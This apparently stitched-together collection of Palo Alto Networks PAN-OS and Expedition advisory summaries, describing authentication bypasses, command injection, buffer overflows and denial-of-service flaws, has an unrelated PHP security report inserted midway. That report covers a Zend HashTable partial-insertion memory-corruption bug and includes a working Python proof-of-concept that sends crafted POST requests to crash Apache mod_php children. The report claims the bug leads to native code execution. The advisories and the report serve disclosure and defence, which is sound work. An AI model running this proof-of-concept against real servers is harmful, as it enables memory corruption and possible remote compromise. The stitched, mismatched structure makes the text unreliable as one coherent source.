Multiple vulnerabilities in Palo Alto Networks Expedition allow an attacker to read Expedition database contents and arbitrary files, as well as write arbitrary files to temporary storage locations on the Expedition system. Combined, these include information such as usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.

These issues do not affect the firewalls, Panorama, Prisma Access, or Cloud NGFW.

An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 .

The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.

Cloud NGFW and Prisma Access are not impacted by this vulnerability.

A buffer overflow vulnerability in the User-ID™ Authentication Portal (aka Captive Portal) service of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to execute arbitrary code with root privileges on the PA-Series and VM-Series firewalls by sending specially crafted packets.

The risk of this issue is greatly reduced if you secure access to the User-ID™ Authentication Portal per the best practice guidelines (https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC) by restricting access to only trusted internal IP addresses.

Prisma Access, Cloud NGFW and Panorama appliances are not impacted by this vulnerability.

Multiple vulnerabilities in the Palo Alto Networks Expedition migration tool enable an attacker to read Expedition database contents and arbitrary files, as well as create and delete arbitrary files on the Expedition system. These files include information such as usernames, cleartext passwords, device configurations, and device API keys for firewalls running PAN-OS software.

Expedition, previously known as the Migration Tool, is a free tool that facilitates migration to the Palo Alto Networks NGFW platform from other firewall vendors and provides a temporary workspace for optimizing Palo Alto Networks security policies. Expedition is designed to only be used temporarily for migration purposes, not to be run in production. You do not need it to operate any Palo Alto Networks products or services. Expedition reached its End of Life (EoL) date on December 31, 2024. Please use the suggested alternatives listed in the Expedition End of Life Announcement (https://live.paloaltonetworks.com/t5/expedition-articles/important-update-end-of-life-announcement-for-palo-alto-networks/ta-p/589642).

These issues do not otherwise impact firewalls, Panorama appliances, Prisma Access deployments, or Cloud NGFWs.

A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with elevated privileges on the firewall, or cause a denial of service (DoS) condition.

Panorama, Cloud NGFW, and Prisma® Access are not impacted by these vulnerabilities.

An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud Authentication Service (CAS) is enabled.

The risk is higher if CAS is enabled on the management interface and lower when any other login interfaces are used.

The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma Access® are not impacted by this vulnerability.

PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

An authentication bypass in the in the management web interface of Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.

The attacker must have network access to the management web interface to exploit this issue. You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended critical deployment guidelines (https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431).

This issue does not affect Cloud NGFW or Prisma Access software.

A null pointer dereference in Palo Alto Networks PAN-OS software on PA-800 Series, PA-3200 Series, PA-5200 Series, and PA-7000 Series hardware platforms when Decryption policy is enabled allows an unauthenticated attacker to crash PAN-OS by sending specific traffic through the data plane, resulting in a denial of service (DoS) condition. Repeated attempts to trigger this condition will result in PAN-OS entering maintenance mode.

Palo Alto Networks VM-Series, Cloud NGFW, and Prisma Access are not affected.

This issue only affects PA-800 Series, PA-3200 Series, PA-5200 Series, and PA-7000 Series running these specific versions of PAN-OS:

10.2.7-h12 10.2.8-h10 10.2.9-h9 10.2.9-h11 10.2.10-h2 10.2.10-h3 10.2.11 10.2.11-h1 10.2.11-h2 10.2.11-h3 11.1.2-h9 11.1.2-h12 11.1.3-h2 11.1.3-h4 11.1.3-h6 11.2.2 11.2.2-h1

A null pointer dereference vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to stop a core system service on the firewall by sending a crafted packet through the data plane that causes a denial of service (DoS) condition. Repeated attempts to trigger this condition result in the firewall entering maintenance mode.

A null pointer dereference vulnerability in the GlobalProtect gateway in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to stop the GlobalProtect service on the firewall by sending a specially crafted packet that causes a denial of service (DoS) condition. Repeated attempts to trigger this condition result in the firewall entering maintenance mode.

A Denial of Service vulnerability in the DNS Security feature of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to send a malicious packet through the data plane of the firewall that reboots the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode.

A vulnerability in Palo Alto Networks PAN-OS software enables an unauthenticated attacker to cause a denial of service (DoS) to the firewall. Repeated attempts to trigger this issue results in the firewall entering into maintenance mode.

A denial-of-service (DoS) vulnerability in the Advanced DNS Security (ADNS) feature of Palo Alto Networks PAN-OS® software enables an unauthenticated attacker to initiate system reboots using a maliciously crafted packet. Repeated attempts to initiate a reboot causes the firewall to enter maintenance mode.

Cloud NGFW and Prisma Access® are not impacted by this vulnerability.

Denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic to or through a dataplane interface. Repeated attempts to trigger this condition result in the firewall entering maintenance mode.

Cloud NGFW and Panorama are not affected by this vulnerability.

A command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as root on the firewall.

A command injection vulnerability in Palo Alto Networks PAN-OS® enables an authenticated administrative user to perform actions as the root user.

The attacker must have network access to the management web interface and successfully authenticate to exploit this issue.

Cloud NGFW and Prisma Access are not impacted by this vulnerability.

Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma Access® are not impacted by these vulnerabilities.

A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not affected by this vulnerability.

A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.

The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not impacted by this vulnerability.

A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS management interface.

The security risk posed by this issue is significantly minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma® Access are not affected by this vulnerability.

A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges.

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.

A command injection vulnerability in the management plane of Palo Alto Networks PAN-OS® software enables an authenticated administrator to execute arbitrary OS commands as root.

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.

This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).

Cloud NGFW and Prisma Access® are not impacted by this vulnerability.

A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI.

The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.

Cloud NGFW and Prisma® Access are not affected by this vulnerability.

When configured using SAML, a session fixation vulnerability in the GlobalProtect™ login enables an attacker to impersonate a legitimate authorized user and perform actions as that GlobalProtect user. This requires the legitimate user to first click on a malicious link provided by the attacker.

The SAML login for the PAN-OS® management interface is not affected. Additionally, this issue does not affect Cloud NGFW and all Prisma® Access instances are proactively patched.

A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.

Panorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.

A memory corruption vulnerability in Palo Alto Networks PAN-OS software allows an unauthenticated attacker to crash PAN-OS due to a crafted packet through the data plane, resulting in a denial of service (DoS) condition. Repeated attempts to trigger this condition will result in PAN-OS entering maintenance mode.

A Denial of Service (DoS) vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software enables an unauthenticated attacker to render the service unavailable by sending a large number of specially crafted packets over a period of time. This issue affects both the GlobalProtect portal and the GlobalProtect gateway.

This issue does not apply to Cloud NGFWs or Prisma Access software.

A missing exception check in Palo Alto Networks PAN-OS® software with the web proxy feature enabled allows an unauthenticated attacker to send a burst of maliciously crafted packets that causes the firewall to become unresponsive and eventually reboot. Repeated successful attempts to trigger this condition will cause the firewall to enter maintenance mode.

This issue does not affect Cloud NGFW or Prisma Access.

A stack-based buffer overflow vulnerability in the log processing functionality of Palo Alto Networks PAN-OS® software on Panorama enables an attacker to cause a denial of service (DoS) condition. Repeated attempts to trigger this condition result in the Panorama entering maintenance mode.

Cloud NGFW, Prisma® Access, and standalone PAN-OS firewalls are not affected by this vulnerability.